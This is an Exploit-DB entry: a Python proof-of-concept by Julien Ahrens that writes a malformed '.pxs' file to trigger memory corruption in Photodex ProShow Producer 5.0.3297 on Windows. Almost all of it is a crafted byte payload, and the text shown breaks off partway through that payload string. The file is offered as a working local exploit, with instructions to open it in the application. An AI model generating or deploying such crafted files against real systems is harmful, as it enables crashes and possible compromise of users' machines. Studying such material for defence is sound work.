Exploit-DB #24505
Description: Photodex ProShow Producer 5.0.3297 - '.pxs' Memory Corruption
Type: local
Platform: windows
Date: 2013-02-15
Author: Julien Ahrens

Exploit:
#!/usr/bin/python
 
# Exploit Title: Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Vulnerability
# Version:       <= 5.0.3297
# Date:          2013-02-14
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.inshell.net
# Software Link: http://www.photodex.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         -
# Howto:         Use the app to open the .pxs file

from struct import pack

file="exploit.pxs"

head = ("\x50\x68\x6F\x74\x6F\x64\x65\x78\x20\x50\x72\x65\x73\x65\x6E\x74\x65\x72\x20\x53"+
"\x74\x72\x65\x61\x6D\x1A\x0A\x0D\x0A\x1A\x00\x00\x00\x00\x04\x00\x01\x00\x6A\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xB2\x89\x00\x00\x00\x00\x00\x00\x03\x00"+
"\x00\x00\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xBF\x0D\x00\x00\x01\xFF"+
"\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xFF"+
"\xFE\x00\x50\x46\x69\x6C\x65\x20\x77\x72\x69\x74\x74\x65\x6E\x20\x77\x69\x74\x68"+
"\x20\x43\x6F\x6D\x70\x75\x50\x69\x63\x28\x52\x29\x20\x2D\x20\x50\x68\x6F\x74\x6F"+
"\x64\x65\x78\x20\x43\x6F\x72\x70\x6F\x72\x61\x74\x69\x6F\x6E\x20\x28\x68\x74\x74"+
"\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x68\x6F\x74\x6F\x64\x65\x78\x2E\x63\x6F\x6D"+
"\x29\xFF\xDB\x00\x84\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06"+
"\x07\x0C\x08\x07\x07\x07\x07\x0F\x0B\x0B\x09\x0C\x11\x0F\x12\x12\x11\x0F\x11\x11"+
"\x13\x16\x1C\x17\x13\x14\x1A\x15\x11\x11\x18\x21\x18\x1A\x1D\x1D\x1F\x1F\x1F\x13"+
"\x17\x22\x24\x22\x1E\x24\x1C\x1E\x1F\x1E\x01\x05\x05\x05\x07\x06\x07\x0E\x08\x08"+
"\x0E\x1E\x14\x11\x14\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E"+
"\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E"+
"\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\x1E\xFF\xC0\x00\x11\x08"+
"\x00\x55\x00\x71\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\xA6\x00\x00"+
"\x01\x04\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x05\x07"+
"\x01\x02\x06\x08\x10\x00\x01\x03\x03\x01\x04\x05\x08\x06\x06\x0B\x01\x00\x00\x00"+
"\x00\x01\x02\x03\x04\x00\x05\x11\x06\x07\x12\x21\x31\x08\x13\x22\x41\x94\x15\x51"+
"\x55\x61\x71\x91\xD1\xD2\x14\x18\x32\x42\x56\x81\x23\x92\xA1\xA2\xB1\xC1\x16\x17"+
"\x24\x25\x33\x43\x62\x74\x82\x84\x85\xB2\x01\x01\x00\x03\x01\x01\x01\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x04\x02\x05\x06\x11\x00\x02\x02\x01\x03"+
"\x03\x02\x05\x00\x0A\x03\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x21\x31\x12"+
"\x13\x51\x05\x41\x14\x22\x52\x71\x81\x15\x23\x32\x33\x61\x91\xA1\xB1\xF0\xF1\xC1"+
"\xD1\xE1\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF1\x95\x00\x50"+
"\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00\x50\x05\x00"+
"\x50\x1D\x96\xCA\xB6\x7F\x74\xDA\x25\xEE\x55\xAA\xD7\x3A\xDD\x09\x51\x62\x2E\x63"+
"\xCF\x4E\x74\xB6\xDA\x1B\x49\x00\x92\x40\x3E\x71\x52\x93\x6F\x08\x86\xF0\xB2\xCB"+
"\x1D\xAE\x8C\x9A\x91\xD1\x96\xF5\xA6\x89\x50\xF5\x5C\x17\xF2\x55\x9D\x8B\x3C\x15"+
"\xF7\xEB\xF2\x28\x3A\x2E\xEA\xA3\xCB\x58\x68\xBF\x1E\xBF\x92\xA7\xB1\x67\xD2\xC7"+
"\x7E\xBF\x26\x7E\xAB\x9A\xAF\xF1\x7E\x8C\xF1\xEB\xF9\x29\xD8\xB3\xE9\x1D\xFA\xFC"+
"\x99\xFA\xAD\xEA\xCF\xC5\xDA\x33\xC7\xAF\xE4\xA8\xEC\x59\xF4\x8E\xF5\x7E\x4C\x7D"+
"\x56\xF5\x67\xE2\xED\x19\xE3\xD7\xF2\x53\xB1\x67\x81\xDE\xAF\xC8\x7D\x57\x35\x5F"+
"\xE2\xFD\x19\xE3\xD7\xF2\x53\xB3\x67\x82\x7B\xB0\x7C\x33\x3F\x55\xAD\x5C\x46\x46"+
"\xAD\xD1\xA4\x7F\xBE\x5F\xC9\x5C\xF6\xE5\xE0\xEB\xA9\x1A\xAB\xA2\xEE\xAB\x4F\xDA"+
"\xD5\xFA\x30\x7F\xDF\x5F\xC9\x5D\x2A\x66\xFD\x8E\x5D\xB0\x5C\xB3\x53\xD1\x87\x53"+
"\x8E\x7A\xCB\x45\x78\xF5\xFC\x95\x3F\x0F\x67\xD2\xC8\xEF\xD7\xE4\xD4\xF4\x65\xD4"+
"\xA3\x9E\xB4\xD1\x23\xFF\x00\x41\x7F\x25\x3E\x1E\xDF\xA5\x91\xDF\xAF\xEA\x38\xAD"+
"\xAD\x6C\xA6\xF7\xB3\x88\xB6\xB9\x77\x3B\x9D\xA2\xE1\x1E\xE6\x5D\x0C\x39\x6F\x7C"+
"\xB8\x9C\xB6\x40\x50\x39\x03\xCE\x2A\xB9\x41\xC1\xE2\x48\xB2\x32\x52\x59\x4C\xAE"+
"\xEB\x93\xA0\xA0\x0A\x02\xF5\xE8\x74\x90\xAD\x55\xAB\x12\x46\x41\xD2\xF2\xB8\x7F"+
"\xC9\x15\xD4\x1E\x24\x99\x12\x5D\x4B\x0C\xF4\xD6\x90\xB4\x32\xE4\x34\x2B\x74\x1E"+
"\xC8\xCF\x0E\x55\xEB\x53\x7E\x76\x67\x9B\x7E\x99\x47\x78\xB3\xA9\x6E\xC8\xC6\x07"+
"\xE8\xD3\xEE\xAB\xDD\x89\x7B\x99\x15\x52\x6F\x64\x2D\xE4\x46\x12\x70\xA6\xD2\x0F"+
"\xAC\x54\x2B\x22\xD6\x53\x25\xD5\x34\xF0\xD0\x2A\xD5\x0D\xBF\xB6\x1B\x1E\xDA\xE7"+
"\xB9\x1F\x27\x4A\x8B\x1F\xB1\xAB\x96\xE8\x08\xE2\xA2\xD0\xF7\x57\x2A\xD8\xBE\x0B"+
"\x1E\x96\xC5\xC8\x9B\x30\xEC\xEB\x74\xB4\xEB\xED\xB4\xA0\x46\x32\x8C\x83\x55\xD9"+
"\x7C\xA3\xBC\x63\x92\xFA\x74\x9D\x5B\x4A\x58\x63\xA6\xAC\xB6\xC5\x65\x48\x75\x97"+
"\x08\xFB\xA8\x50\x49\xAC\xD3\xD5\x67\x67\x1C\x7D\xD1\xAE\xBD\x13\x8E\xFD\x59\xFB"+
"\x30\x76\x15\xB9\xB6\x4A\x56\xDC\x85\x67\xCE\x90\x6A\xA5\xD7\x29\x66\x38\x2F\x6A"+
"\x11\x8E\x27\x9F\xC9\x05\x2E\x2C\x02\x4E\x22\x2F\x03\xBF\x76\xB6\x42\xCB\x51\x8E"+
"\xCA\x29\x96\xF9\x23\xDD\xB7\xC5\x58\xE1\x15\x69\x07\xBC\x81\x5A\x23\x6C\xFD\xD2"+
"\x32\x4F\x4F\x52\xDD\x49\x94\x7F\x4D\x36\x52\xC6\x88\xD0\x6D\x20\x60\x07\xAE\x07"+
"\xF7\x91\x5E\x6E\xB1\xE6\xD6\x6D\xD2\xAC\x57\x84\x79\x6A\xB2\x9A\x02\x80\x28\x0B"+
"\xCF\xA1\xEA\xFA\xBD\x4F\xAB\x57\x8C\xEE\xE9\x79\x47\xF7\x91\x53\x15\x97\x81\x9C"+
"\x1E\x94\xD1\xD7\xC5\xFD\x15\xB0\x90\x52\x30\x07\x01\xC0\xD6\xC8\xD2\xF0\x72\xEE"+
"\x5E\xE7\x4A\xCD\xF6\x57\x5E\x0A\x02\x8A\xFB\x86\xEF\x3A\xED\xD5\xB6\xE4\x2B\x52"+
"\x79\x43\xB4\xDC\xE7\x48\x27\x09\x52\x57\x9C\xF2\xAA\xBB\x6A\x1B\x16\x77\x3A\xF7"+
"\x1C\xB2\x24\xBA\xBC\x4C\x88\x5C\x4A\xBE\xF2\x4E\x28\xE3\x24\xB3\x06\x42\xBA\x0D"+
"\xB5\x34\x6A\xED\x82\x33\x8A\xCA\x9C\x90\x90\x78\x80\x55\x9F\xE5\x5A\x23